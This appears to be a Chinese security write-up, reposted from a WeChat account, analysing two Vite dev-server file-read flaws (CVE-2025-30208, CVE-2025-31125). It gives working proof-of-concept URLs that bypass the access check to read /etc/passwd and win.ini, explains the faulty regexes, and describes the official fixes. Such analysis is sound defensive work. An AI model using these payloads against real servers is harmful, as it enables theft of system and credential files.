
Vite 是一款高效的现代化前端构建工具,以快速冷启动和热更新为核心优势,广泛应用于 Vue、React 等项目开发。
漏洞编号:CVE-2025-30208&CVE-2025-31125 CVE-2025-30208 和CVE-2025-31125漏洞源于 Vite 开发服务器对特定 URL 请求时,没有对请求的路径进行严格的安全检查和限制,导致攻击者可以绕过保护非法读取服务器的任意文件。
CVE-2025-30208:
Vite <= 4.5.9 5.0.0 <= Vite <= 5.4.14 6.0.0 <= Vite <= 6.0.11 6.1.0 <= Vite <= 6.1.1 6.2.0 <= Vite <= 6.2.2
CVE-2025-31125:
vite <= 4.5.10 5.0.0 <= vite <= 5.4.15 6.0.0 <= vite <= 6.0.12 6.1.0 <= vite <= 6.1.2 6.2.0 <= vite <= 6.2.3
CVE-2025-30208环境
本地搭建存在漏洞的环境,以Vite 4.5.9为例
npm install vite@4.5.9

启动Vite
npx vite

CVE-2025-31125环境
本地搭建存在漏洞的环境,以Vite 6.2.3为例
npm install vite@6.2.3

启动Vite
npx vite

CVE-2025-30208 是利用正则表达式匹配的漏洞进行绕过
正常访问路径提示403:The request url "C:/windows/win.ini" is outside of Vite serving allow list.
http://localhost:5173/@fs/C://windows/win.ini

使用如下官方的Poc绕过Vite的访问控制读取到C://windows/win.ini文件
http://localhost:5173/@fs/C://windows/win.ini?import&raw??

相应Linux下的Poc
http://localhost:5173/@fs/etc/passwd?import&raw??
CVE-2025-31125是利用inline的规则配合.wsam进行绕过增加的正则检测
使用官方的Poc绕过Vite的访问控制读取到C://windows/win.ini文件
http://localhost:5173/@fs/C://windows/win.ini?import&inline=1.wasm?init

相应的Linux下的Poc
http://localhost:5173/@fs/etc/passwd?import&inline=1.wasm?init
先看第一个版本CVE-2025-30208:以v6.2.2进行分析
https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
http://localhost:5173/@fs/C://windows/win.ini
根据修复代码定位到packages\vite\src\node\server\middlewares\transform.ts,在URL出打下断点,跳入到removeTimestampQuery方法中

这里出现两个正则
#用于匹配特定格式的时间戳字符串t=1234567890123
const timestampRE = /\bt=\d{13}&?\b/
#检查url是否以?或&结尾
const trailingSeparatorRE = /[?&]$/


在过滤处理后当前的URL

跳回原来的方法继续执行,以下是一些if判断均不满足条件直接跳过



到了关键处,观察if表达式存在逻辑表达式和短路求值的内容:

A || B:如果 A 为 true,则不会执行 B
A && B:如果 A 为 false,则不会执行 B
会先判断(rawRE.test(url) || urlRE.test(url))当满足rawRE.test(url)=false并且urlRE.test(url)=false时则跳过ensureServingAccess函数,该函数则为vite服务器的一个安全函数用于检查请求的 URL 是否允许被 Vite 服务访问
https://vite.dev/config/server-options.html#server-fs-allow

ensureServingAccess代码

接下来看两个正则
#匹配url是否有url参数
export const urlRE = /(\?|&)url(?:&|$)/
#匹配url是否有raw参数
export const rawRE = /(\?|&)raw(?:&|$)/

此时我们的url为
/@fs/C://windows/win.ini?import&raw?
首先我们的url内容没有url参数,满足rawRE.test(url)=false即可
rawRE.test("/@fs/C://windows/win.ini?import&raw?")

为什么POC没有被正则匹配到,是因为这段正则出现了问题,/(\?|&)raw(?:&|$)/只匹配raw 后的&或字符串结尾,raw?正好绕过


再看官方的修复对比v6.2.2和v6.2.3:增加了一条正则进行匹配,这段正则专门匹配URL 末尾是否有多余的查询参数分隔符(? 或 &)从而修复了该问题
const trailingQuerySeparatorsRE = /[?&]+$/
https://github.com/vitejs/vite/compare/v6.2.2...v6.2.3

新的绕过方式CVE-2025-31125
https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8

/@fs/C:/windows/win.ini?import&inline=1.wasm?init
除了?url和?raw还有一种内联的方法?inline,他的作用是:
将文件(如图片、字体、WASM 等)的内容转换为 Base64 编码字符串 或 直接嵌入到 JS/HTML/CSS 中,避免额外的 HTTP 请求
?init主要用于 WebAssembly(.wasm)文件的初始化,默认只有.wasm支持?init其他如.data、.bin可以通过插件拓展支持
通过这种新的方法绕过了修复后的正则过滤

对比v6.2.3和v6.2.4:增加了三条正则的匹配,这意味着只要url存在这些参数都会进入到ensureServingAccess函数中
const urlRE = /[?&]url\b/
const rawRE = /[?&]raw\b/
const inlineRE = /[?&]inline\b/
https://github.com/vitejs/vite/compare/v6.2.3...v6.2.4

升级到官方修复版本。
https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!